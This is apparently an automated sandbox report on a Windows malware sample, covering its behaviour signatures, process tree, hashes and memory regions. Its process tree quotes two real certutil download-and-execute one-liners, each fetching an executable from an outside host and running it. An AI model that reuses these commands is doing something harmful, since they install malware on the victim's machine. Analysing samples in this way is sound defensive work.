Analysis

  • max time kernel
    150s
  • max time network
    128s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    29/09/2026, 16:51

General

  • Target
    2026-09-29_c712513d65f43224644670a96ddd8752_akira_cobalt-strike_icedid_rusty-stealer_ryuk_satacom.exe
  • Size 948KB
  • Sample260929-vc629abd59
  • SHA256 958f016296adbb707885067fd22e7f9a3bd91b3751d24505532604905843d523
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10

Malware Config

Signatures

  • Downloads MZ/PE file 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Drops file in Program Files directory 2 IoCs
  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Modifies registry class 2 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 40 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\explorer.exe
    explorer.exe /LOADSAVEDWINDOWS
    1⤵
    • Drops file in Program Files directory
    • Modifies registry class
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2608
    • C:\Users\Admin\AppData\Local\Temp\2026-09-29_c712513d65f43224644670a96ddd8752_akira_cobalt-strike_icedid_rusty-stealer_ryuk_satacom.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-09-29_c712513d65f43224644670a96ddd8752_akira_cobalt-strike_icedid_rusty-stealer_ryuk_satacom.exe"
      2⤵
      • Drops file in Program Files directory
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:4844
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c certutil.exe -urlcache -split -f "https://filezilla.cc/py22.exe" "C:\Users\Admin\AppData\Local\Temp\0e590e5e0.exe" && "C:\Users\Admin\AppData\Local\Temp\0e590e5e0.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1512
      • C:\Windows\system32\certutil.exe
        certutil.exe -urlcache -split -f "https://filezilla.cc/py22.exe" "C:\Users\Admin\AppData\Local\Temp\0e590e5e0.exe"
        3⤵
          PID:4420
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c certutil.exe -urlcache -split -f "https://github.com/entropyyy666/HelloWorld/releases/download/12134544/updater.exe" "C:\Users\Admin\AppData\Local\Temp\0e590ff41.exe" && "C:\Users\Admin\AppData\Local\Temp\0e590ff41.exe"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2468
        • C:\Windows\system32\certutil.exe
          certutil.exe -urlcache -split -f "https://github.com/entropyyy666/HelloWorld/releases/download/12134544/updater.exe" "C:\Users\Admin\AppData\Local\Temp\0e590ff41.exe"
          3⤵
          • Downloads MZ/PE file
          PID:3316
        • C:\Users\Admin\AppData\Local\Temp\0e590ff41.exe
          "C:\Users\Admin\AppData\Local\Temp\0e590ff41.exe"
          3⤵
          • Executes dropped EXE
          PID:5132

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          0e590ff41.exe

          • Path C:\Users\Admin\AppData\Local\Temp\0e590ff41.exe
          • Size 3.1MB
          • SHA256 899a11848e67d209bf6369e7d0dceee09be9256da0e83606834bbafa2bf65197
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/2608-21-0x0000000003900000-0x000000000397A000-memory.dmp

          memory/2608-26-0x0000000003900000-0x000000000397A000-memory.dmp

          memory/2608-0-0x0000000003900000-0x000000000397A000-memory.dmp

          memory/2608-18-0x0000000003900000-0x000000000397A000-memory.dmp

          memory/2608-17-0x0000000003900000-0x000000000397A000-memory.dmp

          memory/2608-16-0x0000000003900000-0x000000000397A000-memory.dmp

          memory/2608-2-0x0000000003900000-0x000000000397A000-memory.dmp

          memory/2608-24-0x0000000003900000-0x000000000397A000-memory.dmp

          memory/2608-20-0x0000000003900000-0x000000000397A000-memory.dmp

          memory/2608-22-0x0000000003900000-0x000000000397A000-memory.dmp

          memory/2608-1-0x0000000003900000-0x000000000397A000-memory.dmp

          memory/2608-28-0x0000000003900000-0x000000000397A000-memory.dmp

          memory/2608-5-0x0000000003900000-0x000000000397A000-memory.dmp

          memory/2608-7-0x0000000003900000-0x000000000397A000-memory.dmp

          memory/2608-8-0x0000000003900000-0x000000000397A000-memory.dmp

          memory/2608-6-0x0000000003900000-0x000000000397A000-memory.dmp

          memory/2608-9-0x0000000003900000-0x000000000397A000-memory.dmp

          memory/2608-4-0x0000000003900000-0x000000000397A000-memory.dmp

          memory/2608-15-0x0000000003900000-0x000000000397A000-memory.dmp

          memory/2608-10-0x0000000003900000-0x000000000397A000-memory.dmp

          memory/2608-13-0x0000000003900000-0x000000000397A000-memory.dmp

          memory/2608-12-0x0000000003900000-0x000000000397A000-memory.dmp

          memory/2608-3-0x0000000003900000-0x000000000397A000-memory.dmp

          memory/5132-55-0x00007FF65E2E0000-0x00007FF65E5F7000-memory.dmp